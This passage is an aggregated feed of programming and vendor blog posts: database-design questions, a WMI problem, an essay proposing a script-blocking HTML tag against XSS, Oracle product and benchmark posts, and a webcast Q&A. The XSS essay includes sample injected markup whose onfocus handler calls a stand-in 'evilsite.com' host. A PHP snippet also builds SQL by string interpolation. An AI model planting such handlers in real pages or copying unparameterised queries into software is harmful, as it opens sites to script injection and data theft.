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• Designing a database for a user/points system? (in Django)

  - by AP257

  First of all, sorry if this isn't an appropriate question for StackOverflow. I've tried to make it as generalisable as possible. I want to create a database (MySQL, site running Django) that has users, who can be allocated a certain number of points for various types of action - it's a collaborative game. My requirements are to obtain: the number of points a user has the user's ranking compared to all other users and the overall leaderboard (i.e. all users ranked in order of points) This is what I have so far, in my Django models.py file: class SiteUser(models.Model): name = models.CharField(max_length=250 ) email = models.EmailField(max_length=250 ) date_added = models.DateTimeField(auto_now_add=True) def points_total(self): points_added = PointsAdded.objects.filter(user=self) points_total = 0 for point in points_added: points_total += point.points return points_total class PointsAdded(models.Model): user = models.ForeignKey('SiteUser') action = models.ForeignKey('Action') date_added = models.DateTimeField(auto_now_add=True) def points(self): points = Action.objects.filter(action=self.action) return points class Action(models.Model): points = models.IntegerField() action = models.CharField(max_length=36) However it's rapidly becoming clear to me that it's actually quite complex (in Django query terms at least) to figure out the user's ranking and return the leaderboard of users. At least, I'm finding it tough. Is there a more elegant way to do something like this? This question seems to suggest that I shouldn't even have a separate points table - what do people think? It feels more robust to have separate tables, but I don't have much experience of database design.

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• has_many :through default values

  - by David Lyod

  I have a need to design a system to track users memberships to groups with varying roles (currently three). class Group < ActiveRecord::Base has_many :memberships has_many :users, :through => :memberships end class Role < ActiveRecord::Base has_many :memberships has_many :users, :through => :memberships end class Membership < ActiveRecord::Base belongs_to :user belongs_to :role belongs_to :group end class User < ActiveRecord::Base has_many :memberships has_many :groups, :through => :memberships end Ideally what I want is to simply set @group.users << @user and have the membership have the correct role. I can use :conditions to select data that has been manually inserted as such : :conditions => ["memberships.grouprole_id= ? ", Grouprole.find_by_name('user')] But when creating the membership to the group the grouprole_id is not being set. Is there a way to do this as at present I have a somewhat repetitive piece of code for each user role in my Group model.

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• How to first get different related values from diferent SQL tables (PHP)

  - by Ole Jak

  I am triig to fill options list. I have 2 tables USERS and STREAMS I vant to get all streams and get names of users assigned to that streams. Users consists of username and id Streams consists of id, userID, streamID I try such code: <?php global $connection; $query = "SELECT * FROM streams "; $streams_set = mysql_query($query, $connection); confirm_query($streams_set); $streams_count = mysql_num_rows($streams_set); while ($row = mysql_fetch_array($streams_set)){ $userid = $row['userID']; global $connection; $query2 = "SELECT email, username "; $query2 .= "FROM users "; $query2 .= "WHERE id = '{$userid}' "; $qs = mysql_query($query2, $connection); confirm_query($qs); $found_user = mysql_fetch_array($qs); echo ' <option value="'.$row['streamID'].'">'.$row['userID'].$found_user.'</option> '; } ?> But it does not return USER names from DB=( So what shall I do to this code to see usernames as "options" text?

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• SelectQuery eating up 100% CPU

  - by modernzombie

  I am doing a query for all the users on the machine and when it executes it grabs 100% CPU and locks up the system. I have waited up to 5 minutes and nothing happens. In the Task Manager wmiprvse.exe is using all the CPU. When I kill that process everything returns to normal. Here is my code: SelectQuery query = new SelectQuery("Win32_UserAccount", "LocalAccount=1 and Domain='" + GetMachine().DomainName + "'"); using(ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) { IList<WindowsUser> users = new List<WindowsUser>(); Console.WriteLine("Getting users..."); foreach (ManagementObject envVar in searcher.Get()) { Console.WriteLine("Getting " + envVar["Name"].ToString() + "..."); } } In the console all I see is Getting users... and nothing else. The problem appears to be with searcher.Get(). Does anyone know why this query is taking 100% CPU? Thanks. EDIT: OK I found that it the WMI process is only eating 25% CPU but it doesn't get released if I end the program (the query never finishes). The next time I start an instance the process goes up to 50% CPU, etc, etc until it is at 100%. So my new question is why is the CPU not getting released and how long should a query like this take to complete?

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• Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

  - by Rick Strahl

  The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class. In Web Forms (V4) you can use:<%: Model.UserContent %> or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %> This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless. If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task. In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.  Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places. In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*. My Wishlist Item: A <restricted> tag in HTML Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML? The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document. So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target. I'd like to see something along these lines:<article> <restricted allowscripts="no" allowiframes="no"> <div>Some content</div> <script>alert('go ahead make my day, punk!");</script> <div onfocus="$.getJson('http://evilsite.com/')">more content</div> </restricted> </article> A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article> <restricted> @Html.Raw(Model.UserContent) </restricted> </article> For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors. There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do. The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that. Ahhhh… one can dream… Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly. Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen. It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  HTML5  HTML  Security   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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• So, how is the Oracle HCM Cloud User Experience? In a word, smokin’!

  - by Edith Mireles-Oracle

  By Misha Vaughan, Oracle Applications User Experience Oracle unveiled its game-changing cloud user experience strategy at Oracle OpenWorld 2013 (remember that?) with a new simplified user interface (UI) paradigm.  The Oracle HCM cloud user experience is about light-weight interaction, tailored to the task you are trying to accomplish, on the device you are comfortable working with. A key theme for the Oracle user experience is being able to move from smartphone to tablet to desktop, with all of your data in the cloud. The Oracle HCM Cloud user experience provides designs for better productivity, no matter when and how your employees need to work. Release 8  Oracle recently demonstrated how fast it is moving development forward for our cloud applications, with the availability of release 8.  In release 8, users will see expanded simplicity in the HCM cloud user experience, such as filling out a time card and succession planning. Oracle has also expanded its mobile capabilities with task flows for payslips, managing absences, and advanced analytics. In addition, users will see expanded extensibility with the new structures editor for simplified pages, and the with the user interface text editor, which allows you to update language throughout the UI from one place. If you don’t like calling people who work for you “employees,” you can use this tool to create a term that is suited to your business.  Take a look yourself at what’s available now. What are people saying?Debra Lilley (@debralilley), an Oracle ACE Director who has a long history with Oracle Applications, recently gave her perspective on release 8: “Having had the privilege of seeing a preview of release 8, I am again impressed with the enhancements around simplified UI. Even more so, at a user group event in London this week, an existing Cloud HCM customer speaking publically about his implementation said he was very excited about release 8 as the absence functionality was so superior and simple to use.”  In an interview with Lilley for a blog post by Dennis Howlett  (@dahowlett), we probably couldn’t have asked for a more even-handed look at the Oracle Applications Cloud and the impact of user experience. Take the time to watch all three videos and get the full picture.  In closing, Howlett’s said: “There is always the caveat that getting from the past to Fusion [from the editor: Fusion is now called the Oracle Applications Cloud] is not quite as simple as may be painted, but the outcomes are much better than anticipated in large measure because the user experience is so much better than what went before.” Herman Slange, Technical Manager with Oracle Applications partner Profource, agrees with that comment. “We use on-premise Financials & HCM for internal use. Having a simple user interface that works on a desktop as well as a tablet for (very) non-technical users is a big relief. Coming from E-Business Suite, there is less training (none) required to access HCM content.  From a technical point of view, having the abilities to tailor the simplified UI very easy makes it very efficient for us to adjust to specific customer needs.  When we have a conversation about simplified UI, we just hand over a tablet and ask the customer to just use it. No training and no explanation required.” Finally, in a story by Computer Weekly  about Oracle customer BG Group, a natural gas exploration and production company based in the UK and with a presence in 20 countries, the author states: “The new HR platform has proved to be easier and more intuitive for HR staff to use than the previous SAP-based technology.” What’s Next for Oracle’s Applications Cloud User Experiences? This is the question that Steve Miranda, Oracle Executive Vice President, Applications Development, asks the Applications User Experience team, and we’ve been hard at work for some time now on “what’s next.”  I can’t say too much about it, but I can tell you that we’ve started talking to customers and partners, under non-disclosure agreements, about user experience concepts that we are working on in order to get their feedback. We recently had a chance to talk about possibilities for the Oracle HCM Cloud user experience at an Oracle HCM Southern California Customer Success Summit. This was a fantastic event, hosted by Shane Bliss and Vance Morossi of the Oracle Client Success Team. We got to use the uber-slick facilities of Allergan, our hosts (of Botox fame), headquartered in Irvine, Calif., with a presence in more than 100 countries. Photo by Misha Vaughan, Oracle Applications User Experience Vance Morossi, left, and Shane Bliss, of the Oracle Client Success Team, at an Oracle HCM Southern California Customer Success Summit.  We were treated to a few really excellent talks around human resources (HR). Alice White, VP Human Resources, discussed Allergan's process for global talent acquisition -- how Allergan has designed and deployed a global process, and global tools, along with Oracle and Cognizant, and are now at the end of a global implementation. She shared a couple of insights about the journey for Allergan: “One of the major areas for improvement was on role clarification within the company.” She said the company is “empowering managers and deputizing them as recruiters. Now it is a global process that is nimble and efficient."  Deepak Rammohan, VP Product Management, HCM Cloud, Oracle, also took the stage to talk about pioneering modern HR. He reflected modern HR problems of getting the right data about the workforce, the importance of getting the right talent as a key strategic initiative, and other workforce insights. "How do we design systems to deal with all of this?” he asked. “Make sure the systems are talent-centric. The next piece is collaborative, engaging, and mobile. A lot of this is influenced by what users see today. The last thing is around insight; insight at the point of decision-making." Rammohan showed off some killer HCM Cloud talent demos focused on simplicity and mobility that his team has been cooking up, and closed with a great line about the nature of modern recruiting: "Recruiting is a team sport." Deepak Rammohan, left, and Jake Kuramoto, both of Oracle, debate the merits of a Google Glass concept demo for recruiters on-the-go. Later, in an expo-style format, the Apps UX team showed several concepts for next-generation HCM Cloud user experiences, including demos shown by Jake Kuramoto (@jkuramoto) of The AppsLab, and Aylin Uysal (@aylinuysal), Director, HCM Cloud user experience. We even hauled out our eye-tracker, a research tool used to show where the eye is looking at a particular screen, thanks to teammate Michael LaDuke. Dionne Healy, HCM Client Executive, and Aylin Uysal, Director, HCM Cloud user experiences, Oracle, take a look at new HCM Cloud UX concepts. We closed the day with Jeremy Ashley (@jrwashley), VP, Applications User Experience, who brought it all back together by talking about the big picture for applications cloud user experiences. He covered the trends we are paying attention to now, what users will be expecting of their modern enterprise apps, and what Oracle’s design strategy is around these ideas.   We closed with an excellent reception hosted by ADP Payroll services at Bistango. Want to read more?Want to see where our cloud user experience is going next? Read more on the UsableApps web site about our latest design initiative: “Glance, Scan, Commit.” Or catch up on the back story by looking over our Applications Cloud user experience content on the UsableApps web site.  You can also find out where we’ll be next at the Events page on UsableApps.

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• SPARC T3-1 Record Results Running JD Edwards EnterpriseOne Day in the Life Benchmark with Added Batch Component

  - by Brian

  Using Oracle's SPARC T3-1 server for the application tier and Oracle's SPARC Enterprise M3000 server for the database tier, a world record result was produced running the Oracle's JD Edwards EnterpriseOne applications Day in the Life benchmark run concurrently with a batch workload. The SPARC T3-1 server based result has 25% better performance than the IBM Power 750 POWER7 server even though the IBM result did not include running a batch component. The SPARC T3-1 server based result has 25% better space/performance than the IBM Power 750 POWER7 server as measured by the online component. The SPARC T3-1 server based result is 5x faster than the x86-based IBM x3650 M2 server system when executing the online component of the JD Edwards EnterpriseOne 9.0.1 Day in the Life benchmark. The IBM result did not include a batch component. The SPARC T3-1 server based result has 2.5x better space/performance than the x86-based IBM x3650 M2 server as measured by the online component. The combination of SPARC T3-1 and SPARC Enterprise M3000 servers delivered a Day in the Life benchmark result of 5000 online users with 0.875 seconds of average transaction response time running concurrently with 19 Universal Batch Engine (UBE) processes at 10 UBEs/minute. The solution exercises various JD Edwards EnterpriseOne applications while running Oracle WebLogic Server 11g Release 1 and Oracle Web Tier Utilities 11g HTTP server in Oracle Solaris Containers, together with the Oracle Database 11g Release 2. The SPARC T3-1 server showed that it could handle the additional workload of batch processing while maintaining the same number of online users for the JD Edwards EnterpriseOne Day in the Life benchmark. This was accomplished with minimal loss in response time. JD Edwards EnterpriseOne 9.0.1 takes advantage of the large number of compute threads available in the SPARC T3-1 server at the application tier and achieves excellent response times. The SPARC T3-1 server consolidates the application/web tier of the JD Edwards EnterpriseOne 9.0.1 application using Oracle Solaris Containers. Containers provide flexibility, easier maintenance and better CPU utilization of the server leaving processing capacity for additional growth. A number of Oracle advanced technology and features were used to obtain this result: Oracle Solaris 10, Oracle Solaris Containers, Oracle Java Hotspot Server VM, Oracle WebLogic Server 11g Release 1, Oracle Web Tier Utilities 11g, Oracle Database 11g Release 2, the SPARC T3 and SPARC64 VII+ based servers. This is the first published result running both online and batch workload concurrently on the JD Enterprise Application server. No published results are available from IBM running the online component together with a batch workload. The 9.0.1 version of the benchmark saw some minor performance improvements relative to 9.0. When comparing between 9.0.1 and 9.0 results, the reader should take this into account when the difference between results is small. Performance Landscape JD Edwards EnterpriseOne Day in the Life Benchmark Online with Batch Workload This is the first publication on the Day in the Life benchmark run concurrently with batch jobs. The batch workload was provided by Oracle's Universal Batch Engine. System RackUnits Online Users Resp Time (sec) BatchConcur(# of UBEs) BatchRate(UBEs/m) Version SPARC T3-1, 1xSPARC T3 (1.65 GHz), Solaris 10 M3000, 1xSPARC64 VII+ (2.86 GHz), Solaris 10 4 5000 0.88 19 10 9.0.1 Resp Time (sec) — Response time of online jobs reported in seconds Batch Concur (# of UBEs) — Batch concurrency presented in the number of UBEs Batch Rate (UBEs/m) — Batch transaction rate in UBEs/minute. JD Edwards EnterpriseOne Day in the Life Benchmark Online Workload Only These results are for the Day in the Life benchmark. They are run without any batch workload. System RackUnits Online Users ResponseTime (sec) Version SPARC T3-1, 1xSPARC T3 (1.65 GHz), Solaris 10 M3000, 1xSPARC64 VII (2.75 GHz), Solaris 10 4 5000 0.52 9.0.1 IBM Power 750, 1xPOWER7 (3.55 GHz), IBM i7.1 4 4000 0.61 9.0 IBM x3650M2, 2xIntel X5570 (2.93 GHz), OVM 2 1000 0.29 9.0 IBM result from http://www-03.ibm.com/systems/i/advantages/oracle/, IBM used WebSphere Configuration Summary Hardware Configuration: 1 x SPARC T3-1 server 1 x 1.65 GHz SPARC T3 128 GB memory 16 x 300 GB 10000 RPM SAS 1 x Sun Flash Accelerator F20 PCIe Card, 92 GB 1 x 10 GbE NIC 1 x SPARC Enterprise M3000 server 1 x 2.86 SPARC64 VII+ 64 GB memory 1 x 10 GbE NIC 2 x StorageTek 2540 + 2501 Software Configuration: JD Edwards EnterpriseOne 9.0.1 with Tools 8.98.3.3 Oracle Database 11g Release 2 Oracle 11g WebLogic server 11g Release 1 version 10.3.2 Oracle Web Tier Utilities 11g Oracle Solaris 10 9/10 Mercury LoadRunner 9.10 with Oracle Day in the Life kit for JD Edwards EnterpriseOne 9.0.1 Oracle’s Universal Batch Engine - Short UBEs and Long UBEs Benchmark Description JD Edwards EnterpriseOne is an integrated applications suite of Enterprise Resource Planning (ERP) software. Oracle offers 70 JD Edwards EnterpriseOne application modules to support a diverse set of business operations. Oracle's Day in the Life (DIL) kit is a suite of scripts that exercises most common transactions of JD Edwards EnterpriseOne applications, including business processes such as payroll, sales order, purchase order, work order, and other manufacturing processes, such as ship confirmation. These are labeled by industry acronyms such as SCM, CRM, HCM, SRM and FMS. The kit's scripts execute transactions typical of a mid-sized manufacturing company. The workload consists of online transactions and the UBE workload of 15 short and 4 long UBEs. LoadRunner runs the DIL workload, collects the user’s transactions response times and reports the key metric of Combined Weighted Average Transaction Response time. The UBE processes workload runs from the JD Enterprise Application server. Oracle's UBE processes come as three flavors: Short UBEs < 1 minute engage in Business Report and Summary Analysis, Mid UBEs > 1 minute create a large report of Account, Balance, and Full Address, Long UBEs > 2 minutes simulate Payroll, Sales Order, night only jobs. The UBE workload generates large numbers of PDF files reports and log files. The UBE Queues are categorized as the QBATCHD, a single threaded queue for large UBEs, and the QPROCESS queue for short UBEs run concurrently. One of the Oracle Solaris Containers ran 4 Long UBEs, while another Container ran 15 short UBEs concurrently. The mixed size UBEs ran concurrently from the SPARC T3-1 server with the 5000 online users driven by the LoadRunner. Oracle’s UBE process performance metric is Number of Maximum Concurrent UBE processes at transaction rate, UBEs/minute. Key Points and Best Practices Two JD Edwards EnterpriseOne Application Servers and two Oracle Fusion Middleware WebLogic Servers 11g R1 coupled with two Oracle Fusion Middleware 11g Web Tier HTTP Server instances on the SPARC T3-1 server were hosted in four separate Oracle Solaris Containers to demonstrate consolidation of multiple application and web servers. See Also SPARC T3-1 oracle.com SPARC Enterprise M3000 oracle.com Oracle Solaris oracle.com JD Edwards EnterpriseOne oracle.com Oracle Database 11g Release 2 Enterprise Edition oracle.com Disclosure Statement Copyright 2011, Oracle and/or its affiliates. All rights reserved. Oracle and Java are registered trademarks of Oracle and/or its affiliates. Other names may be trademarks of their respective owners. Results as of 6/27/2011.

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• Granular Clipboard Control in Oracle IRM

  - by martin.abrahams

  One of the main leak prevention controls that customers are looking for is clipboard control. After all, there is little point in controlling access to a document if authorised users can simply make unprotected copies by use of the cut and paste mechanism. Oddly, for such a fundamental requirement, many solutions only offer very simplistic clipboard control - and require the customer to make an awkward choice between usability and security. In many cases, clipboard control is simply an ON-OFF option. By turning the clipboard OFF, you disable one of the most valuable edit functions known to man. Try working for any length of time without copying and pasting, and you'll soon appreciate how valuable that function is. Worse, some solutions disable the clipboard completely - not just for the protected document but for all of the various applications you have open at the time. Normal service is only resumed when you close the protected document. In this way, policy enforcement bleeds out of the particular assets you need to protect and interferes with the entire user experience. On the other hand, turning the clipboard ON satisfies a fundamental usability requirement - but also makes it really easy for users to create unprotected copies of sensitive information, maliciously or otherwise. All they need to do is paste into another document. If creating unprotected copies is this simple, you have to question how much you are really gaining by applying protection at all. You may not be allowed to edit, forward, or print the protected asset, but all you need to do is create a copy and work with that instead. And that activity would not be tracked in any way. So, a simple ON-OFF control creates a real tension between usability and security. If you are only using IRM on a small scale, perhaps security can outweigh usability - the business can put up with the restriction if it only applies to a handful of important documents. But try extending protection to large numbers of documents and large user communities, and the restriction rapidly becomes really unwelcome. I am aware of one solution that takes a different tack. Rather than disable the clipboard, pasting is always permitted, but protection is automatically applied to any document that you paste into. At first glance, this sounds great - protection travels with the content. However, at any scale this model may not be so appealing once you've had to deal with support calls from users who have accidentally applied protection to documents that really don't need it - which would be all too easily done. This may help control leakage, but it also pollutes the system with documents that have policies applied with no obvious rhyme or reason, and it can seriously inconvenience the business by making non-sensitive documents difficult to access. And what policy applies if you paste some protected content into an already protected document? Which policy applies? There are no prizes for guessing that Oracle IRM takes a rather different approach. The Oracle IRM Approach Oracle IRM offers a spectrum of clipboard controls between the extremes of ON and OFF, and it leverages the classification-based rights model to give granular control that satisfies both security and usability needs. Firstly, we take it for granted that if you have EDIT rights, of course you can use the clipboard within a given document. Why would we force you to retype a piece of content that you want to move from HERE... to HERE...? If the pasted content remains in the same document, it is equally well protected whether it be at the beginning, middle, or end - or all three. So, the first point is that Oracle IRM always enables the clipboard if you have the right to edit the file. Secondly, whether we enable or disable the clipboard, we only affect the protected document. That is, you can continue to use the clipboard in the usual way for unprotected documents and applications regardless of whether the clipboard is enabled or disabled for the protected document(s). And if you have multiple protected documents open, each may have the clipboard enabled or disabled independently, according to whether you have Edit rights for each. So, even for the simplest cases - the ON-OFF cases - Oracle IRM adds value by containing the effect to the protected documents rather than to the whole desktop environment. Now to the granular options between ON and OFF. Thanks to our classification model, we can define rights that enable pasting between documents in the same classification - ie. between documents that are protected by the same policy. So, if you are working on this month's financial report and you want to pull some data from last month's report, you can simply cut and paste between the two documents. The two documents are classified the same way, subject to the same policy, so the content is equally safe in both documents. However, if you try to paste the same data into an unprotected document or a document in a different classification, you can be prevented. Thus, the control balances legitimate user requirements to allow pasting with legitimate information security concerns to keep data protected. We can take this further. You may have the right to paste between related classifications of document. So, the CFO might want to copy some financial data into a board document, where the two documents are sealed to different classifications. The CFO's rights may well allow this, as it is a reasonable thing for a CFO to want to do. But policy might prevent the CFO from copying the same data into a classification that is accessible to external parties. The above option, to copy between classifications, may be for specific classifications or open-ended. That is, your rights might enable you to go from A to B but not to C, or you might be allowed to paste to any classification subject to your EDIT rights. As for so many features of Oracle IRM, our classification-based rights model makes this type of granular control really easy to manage - you simply define that pasting is permitted between classifications A and B, but omit C. Or you might define that pasting is permitted between all classifications, but not to unprotected locations. The classification model enables millions of documents to be controlled by a few such rules. Finally, you MIGHT have the option to paste anywhere - such that unprotected copies may be created. This is rare, but a legitimate configuration for some users, some use cases, and some classifications - but not something that you have to permit simply because the alternative is too restrictive. As always, these rights are defined in user roles - so different users are subject to different clipboard controls as required in different classifications. So, where most solutions offer just two clipboard options - ON-OFF or ON-but-encrypt-everything-you-touch - Oracle IRM offers real granularity that leverages our classification model. Indeed, I believe it is the lack of a classification model that makes such granularity impractical for other IRM solutions, because the matrix of rules for controlling pasting would be impossible to manage - there are so many documents to consider, and more are being created all the time.

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• Charms and the App Bar

  - by Dennis Vroegop

  Ok. I admit. I made a mistake in the last post about our planespotter app. I have dedicated a full part of the hub to Social. I also had a section called Friends but that made sense since I said that “Friends” is a special group of people that connect to each other through our app and only our app. Social however is sharing our spots with Twitter, Facebook and so on. Now, we could write that functionality in our app in a different section but there is one small problem with that: users don’t expect that. Ok, I admit. The mistake was quite deliberate to give me an excuse to write this part. But still: the mistake is one I see a lot. People are trying to do stuff in their application that they shouldn’t be doing. This always strike me as slightly odd: why do some work when others have already done it for you and you can just use it? After all: good developers are lazy (lazy people will always try to find the easiest way to do something and in development land this usually means the cleanest and best to support way…) So. What is that part that Microsoft has done for us and we don’t have to do ourselves? The answer lies on the right hand of your Win8 screen: This is a screenshot of my tablet (as you can see I am writing this right now….) When I swipe my finger from out of the screen on the right inside the screen (or move the mouse to the upper right corner) this menu will appear. Next to settings and the start menu button we’ll find the Search and the Share charms. These are two ways that your app can share the information it contains with the rest of the world, or at least: the rest of your system. So don’t write a Search feature in your app. Don’t write a Share feature in your app. It’s here already. Users, once they are used to Windows 8, will use that feature and expect it to work. If it doesn’t, they won’t like your app and you can kiss you dreams of everlasting fame goodbye. So use these two. What are they? Well, simply they are parts of a contract. In your app you say somewhere in code that you are supporting Search and Share. So when the user selects Share the system will interrogate the current app in the foreground if it supports this feature. Your app will say “But why, yes, I do!” Then the system will ask the app “Ok then, wisecrack, then share!” and you will have to provide the system with some information about the format. Other applications have subscribed to be at the receiving end of the Share contract. They have told the system that they support Sharing (receiving) and which formats they understand. If one or more of them support the formats you specify, the user will see them. The user clicks / taps on the app of their choice and data is moved from your app to the new one. So if you say you support Facebook and Twitter users can post data from your app to these networks by selecting Share. The same applies to Search. Don’t make a “search” button in your app but use the contract to tell the system that you support search and use that instead. Users will be grateful (remember that bar with men/women/creatures that are waiting for you?) The more and more people get to know Windows 8, the more they will use this. And if you are one of the people who wrote an app that helped them learn the system, well, that’s even better. So. We don’t have a Share or a Search button. We do have other buttons. Most important: we probably need a “New Spot” button. And a “Filter” might be useful. Or someway to open the camera so you can add a picture to the spot. Where will be put those? The answer is the “Appbar” . This is a application / context aware menu that slides up from the bottom of the screen when you move your finger / mouse from below the screen into it. From above downwards works just as well. Here you see an example of the appbar from the People app. (click on it for a larger version). This appears whenever you slide your finger up from below of down from above. This is where you put your commands. Remember, this is context aware so this menu will change when you are in different parts of your app or when you have selected different items. There are a few conventions when you create this appbar. First, the items on the right are “General” items, meaning they have little to do with what is on the screen right now. I think this would be a great place to add our “New Spot” icon. On the far left are items associated with the current selected item or screen. So if you have a spot selected, the button for Add Photo should be visible here and on the left hand side. Not everything is as clear as this, but this is what you should strive for. Group items together. And please note: this is the only place in Metro design where we are allowed to use lines as separators. So when you want to separate a group of icons from another group, add a line. Also note the simplicity of the buttons. No colors, no lights or shadows, no 3D. After a couple of years of fancy almost realistic looking icons people have finally decided that hey, this is a virtual world: it’s ok to look virtual as well. So make things as readable and clear as possible and don’t try to duplicate nature. It’s all about the information, remember? (If you don’t remember I’d like to point you to a older blog post of mine about the what and why of Metro). So.. think about the buttons a bit and think about Share and Search. What will you put there? Remember: this is the way the users interact with your apps and while you shouldn’t judge a book by its covers when it comes to people, this isn’t entirely so when it comes to apps. People DO judge an app by its looks and the way it feels. Take advantage of that. History has learned that a crappy app with a GREAT user interface gets better reviews than a GREAT app with a lousy UI… I know: developers will find this extremely unfair but that’s the world we live in (No, I am not saying you should deliver rubbish apps). Next time: we’ll start by building the darn thing!

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• Five Ways Enterprise 2.0 Can Transform Your Business - Q&A from the Webcast

  - by [email protected]

  A few weeks ago, Vince Casarez and I presented with KMWorld on the Five Ways Enterprise 2.0 Can Transform Your Business. It was an enjoyable, interactive webcast in which Vince and I discussed the ways Enterprise 2.0 can transform your business and more importantly, highlighted key customer examples of how to do so. If you missed the webcast, you can catch a replay here. We had a lot of audience participation in some of the polls we conducted and in the Q&A session. We weren't able to address all of the questions during the broadcast, so we attempted to answer them here: Q: Which area within your firm focuses on Web 2.0? Meaning, do you find new departments developing just to manage the web 2.0 (Twitter, Facebook, etc.) user experience or are you structuring current departments? A: There are three distinct efforts within Oracle. The first is around delivery of these Web 2.0 services for enterprise deployments. This is the focus of the WebCenter team. The second effort is injecting these Web 2.0 services into use cases that drive the different enterprise applications. This effort is focused on how to manage these external services and bring them into a cohesive flow for marketing programs, customer care, and purchasing. The third effort is how we consume these services internally to enhance Oracle's business delivery. It leverages the technologies and use cases of the first two but also pushes the envelope with regards to future directions of these other two areas. Q: In a business, Web 2.0 is mostly like action logs. How can we leverage the official process practice versus the logs of a recent action? Example: a system configuration modified last night on a call out versus the official practice that everybody would use in the morning.A: The key thing to remember is that most Web 2.0 actions / activity streams today are based on collaboration and communication type actions. At least with public social sites like Facebook and Twitter. What we're delivering as part of the WebCenter Suite are not just these types of activities but also enterprise application activities. These enterprise application activities come from different application modules: purchasing, HR, order entry, sales opportunity, etc. The actions within these systems are normally tied to a business object or process: purchase order/customer, employee or department, customer and supplier, customer and product, respectively. Therefore, the activities or "logs" as you name them are able to be "typed" so that as a viewer, you can filter or decide to see only certain types of information. In your example, you could have a view that only showed you recent "configuration" changes and this could be right next to a view that showed off the items to be watched every morning. Q: It's great to hear about customers using the software but is there any plan for future webinars to show what the products/installs look like? That would be very helpful.A: We don't have a webinar planned to show off the install process. However, we have a viewlet that's posted on Oracle Technology Network. You can see it here:http://www.oracle.com/technetwork/testcontent/wcs-install-098014.htmlAnd we've got excellent documentation that walks you through the steps here:http://download.oracle.com/docs/cd/E14571_01/install.1111/e12001/install.htmAnd there's a whole set of demos and examples of what WebCenter can do at this URL:http://www.oracle.com/technetwork/middleware/webcenter/release11-demos-097468.html Q: How do you anticipate managing metadata across the enterprise to make content findable?A: We need to first make sure we are all talking about the same thing when we use a word like "metadata". Here's why...  For a developer, metadata means information that describes key elements of the portal or application and what the portal or application can do. For content systems, metadata means key terms that provide a taxonomy or folksonomy about the information that is being indexed, ordered, and managed. For business intelligence systems, metadata means key terms that provide labels to groups of data that most non-mathematicians need to understand. And for SOA, metadata means labels for parts of the processes that business owners should understand that connect development terminology. There are also additional requirements for metadata to be available to the team building these new solutions as well as requirements to make this metadata available to the running system. These requirements are often separated by "design time" and "run time" respectively. So 